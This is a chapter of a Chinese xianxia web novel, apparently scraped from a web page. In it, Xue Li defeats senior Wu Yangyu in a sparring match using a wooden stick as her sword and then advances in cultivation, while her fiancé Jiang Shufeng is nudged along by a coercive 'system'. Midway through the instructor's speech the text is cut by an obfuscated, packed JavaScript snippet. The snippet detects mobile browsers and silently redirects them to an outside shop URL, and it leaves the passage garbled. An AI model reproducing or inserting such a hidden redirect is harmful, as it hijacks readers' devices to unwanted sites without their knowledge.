高大魁梧的乌阳羽站在对面,顶着他极其认真的视线,薛黎有点头皮发麻,只好慢吞吞举起了一根小树枝,在对面稍显疑惑的眼神中,大变成一根三尺有余的——
木棍。
乌阳羽显然一愣,眨了下眼,确认道:“这便是薛师妹新得的本命剑?”
薛黎其实很想不承认,但只能沉重地点头。
他略想了一下,露出一个标准八颗牙齿的笑:“此番形态的剑,道实属少见。”之后神情收敛,变得肃然,“我明了薛师妹的意思,同门切磋,点到为止。”
“既然你都特意令剑锋不开刃了,我也当礼尚往来。只可惜,我的重渊没有这么厉害,不能变幻形态。那我就用剑刃的反面吧。”
说罢乌阳羽单手执剑,利落地挽了个剑花,那把足有五尺长的重剑翻了个面。他略微调整,适应了一下,而后肃容抬眼,示意薛黎他准备好了。
莫名其妙被戴了个友善高帽的薛黎:……要不咱再友好一点,不打了行不行。
不过打了这一会的言语交道,薛黎也发现了这位仁兄最大的特征:这是个呆子,还是认死理的那种。
看来只能硬着头皮,舍命陪人干一架了。大不了完事再去药堂躺半个月。
薛黎长吸一口气,狠了狠心,举起了手中的木棍。
*
不远处,一棵大树下,距离剑术场不远不近的地方。
江述风抱着剑,闲闲靠在树干上,正认真思考着,要不要提前开溜,中午早点去饭堂点菜。
这时,系统音又闪现了:
“滴。新任务发布:主角遭遇反派挑衅,宿主看不过主角受人欺凌,积极出手,努力帮助主角。”
江述风不大乐意:“这人不是她自己招惹的?”神特么受人欺凌。
系统解释:“因为宿主要维持人设呀。身为未婚夫妻,宿主一直都看不得主角受气的,只要有人前来挑衅,必定会竭力帮助哦。”
江述风又不吭声了。
系统暗叹一声,这次的宿主配合度真低啊。然后熟练祭出大招:“会有电击哦。”
江述风闭了闭眼。
算了。他慢吞吞站直身体,一只手放到腰间剑柄上。
午饭就让薛黎请他吃吧。
江述风迈步,三两步走出了阴影处。
*
另一边,宽阔的剑术场中央。
人群里三层外三层围着,津津有味地围观这一出突如其来的切磋。
“你觉得谁会赢?”
“乌师兄可是上月小比的第三名!你说呢?”
“也是。薛师妹勇气可嘉,不过上次从山下回来,听说好像又吐血了。”
“哎。”
于是按理应该期待势均力敌的一场比斗,在众人看来,就变成一场结果注定的一边倒了。
这样的比斗就缺了点味儿。于是大多数人的目光,都集中看向了被同情的一方——手执一根古怪木棍的少女这里。
而被众人围观的主人公薛黎,这会儿早顾不上理睬旁人的闲语。
她全副心神都集中在对面的人身上。或者准确说,在那把阔大的黑色重剑上。
站得笔直的青年咧嘴一笑,扬起反执的重剑,脚下重重一踩,轻微的爆破声响起,距离筑基境界只差一步的灵力迸发,下一瞬身形飞速闪现到面前。
薛黎握紧了手中那一截木,跑已经来不及了。她的灵力不足,论速度肯定比不上。
在重剑带着破风声劈下来的前一刻,薛黎挥动手中木棍,将将招架住这一招。
看似朴素磕碜的一节木,还没有青年的指节粗,和重剑□□撞到一起,竟然发出了金玉一般的清亮声。
乌阳羽眼前一亮。试探的第一招下,竟然有些意外。
他立刻后退几步,重剑一挥,打算重整身形。
勉强招架住一招的薛黎,这会儿气息已有些乱了。她只有炼气中期的境界,还只能勉强发挥,对上差一步筑基的乌阳羽,实在太勉强了。
这都什么事啊。
薛黎有点开始胡思乱想了,这时脑中忽然传来一声低喝:“凝神!”
是鲲老那沧桑的声音。
“将灵力集中到握剑的手掌中,集中精神,仔细感受灵力是如何注入木剑的。”
经这么一提醒,薛黎忙收敛心神,沉下心来,逐渐感受到体内灵力仿佛万千丝束,汇聚之后进入手中那一节木枝。
渐渐地,她感到自己进入了一种有些玄妙的状态,周围纷攘的各种声音好似都隔开了无形的屏障,越发朦胧遥远。最后她的神识中,只剩下一人,一剑。
数丈之外,走到半路的江述风忽然一拧眉,而后抬眼,仔细打量了一下双目微阖的薛黎。他停下了脚步。
紧接着,薛黎感觉自己轻飘飘地挥动了一下手中木枝。对面正欺身压近的乌阳羽,忽然面色一变,脚下急刹,手中原本扬起的重剑也赶忙回撤,来不及做更多应对,只能勉强抵在胸前,试图抵御那蕴含汹涌灵力的一招。
伴随着围观众人的惊呼声,黑色重剑终究不敌,青年连连后撤数步,经过之地皆留下一道深深痕迹。
扬起的灰尘渐渐散去。乌阳羽以剑撑地,喘息未定站起身,擦去唇边溢出的血丝,看向对面平静立着的姑娘,仿佛从头到尾都如此不动声色。
他笑了:“我败了。心服口服。”
*
静静抱剑看完全程的江述风,立刻扭头反问系统:“你管这叫受人欺凌?”
系统:……它不道啊!
半晌之后,薛黎才从恍惚中回神。她刚才一直有些飘飘然的,这会儿仿佛才又踩在了实地上。
她抬眼,看见了对面遥遥站着的青年,有点没反应过来。
紧接着,她又察觉周身的异样:以她为中心数丈之内的空气中,气流开始无状涌动,连自己的丹田仿佛都被牵动,灵气开始异常翻涌——
徐教习唇角紧抿,快速拨开围了数层的人群,最后停步在薛黎三尺之外的地方,严厉的声音响起:“所有人,立刻推开十丈之外,皆不许动剑招。”
然后他转身,看向薛黎:“你要晋升炼气后期了。”
徐教习的声音带着几分凝重,又含着欣慰:
“机不可失,速
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701303|208191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
速打坐入定。我会替你把守周围。”
*
半个时辰后。
薛黎睁开双眼,神清气爽地站起身。
上课的时间早过去了,其他弟子们虽然有心围观,但大多还是先忙着去饭堂抢排骨了。
薛黎起身时,身边就剩下寥寥数人。
徐教习还是一张严肃脸,端详了下薛黎的气息,微微点头:“气息尚稳,看来晋阶还算顺利。”
薛黎乖巧行礼:“多谢教习看顾。”
徐教习不在意地挥了挥手,撂下句“散了吧”,就转身离去。
此时还留下没走的,只有两位青年。
薛黎转眼看见江述风正盯着她,准备开口时,被一个有些激动的声音打断:
“薛师妹,你如今是炼气后期了吧。”
薛黎转过脸,就对上乌阳羽亮晶晶的一双眼。
薛黎颔首。
乌阳羽兴奋道:“那师妹何时再愿意和我切磋一番?”
他方才被薛黎那一记击伤了些灵脉,当下气息有些不稳,但完全是一副找到对手了般的热切:“方才与师妹一战,着实痛快。”
薛黎扫了眼他那把砸下来就能把她拍扁的重剑,闻言只想逃跑。
谁要再和他打一架啊喂。
她眼风扫见旁边微勾唇角的江述风,开始胡说八道:“我平时多忙着和江师兄练剑,一般都没有空闲。”
之前提议过可以教她练剑但某人一直摆烂的江述风:?
乌阳羽闻言愣了愣,看向站在旁边的江述风。
他认出了这位江师弟,前一阵在月度小比上击败过他,大家都说这位江师弟是宗内这一辈弟子中最出色的。
乌阳羽想了想:“确实,江师弟比我更强。”
薛黎略松一口气。武痴可真够难打发的。
乌阳羽平日里只专注修炼,对于很多八卦消息知晓得之后,这会儿对着站在一处的薛黎二人来回瞧了瞧,忽然想起前一阵传遍宗内的退婚事件来。
据说薛师妹忽然态度大变,从之前很喜爱江师弟,变成了分外嫌弃;而江师弟却一反往日高冷,成天跟着薛师妹。
他悟了。一定是由于薛师妹最近修行上开了窍,实力突飞猛进,已经瞧不上江师弟了。毕竟,他摸了摸胸口,上次他和江师弟比试时,江师弟都没能将他打得如此狼狈,灵脉都震伤了不少。
于是,薛黎那口气还没缓多久,就听乌阳羽斗志昂扬地道:“我明白了。”
“师妹放心,我会刻苦修行的。”薛黎瞧着他突然亮起的双眸,感觉有点不对,就听他继续道:“等我能打败江师弟之后,我能做你的未婚夫吗?”
乌阳羽一双黑眸亮晶晶的,盛满期待地看着薛黎。
只要成为薛师妹的未婚夫,就能天天和她比试了!
薛黎茫然:“啊?”这大兄弟什么脑回路?这都啥跟啥啊?
至于江述风,此刻只恨上回怎么没给这人一巴掌拍死。
他脚下一动,插到两人中间,把薛黎挡在身后,而后对上乌阳羽的视线,重重冷哼一声:
“做梦吧你。”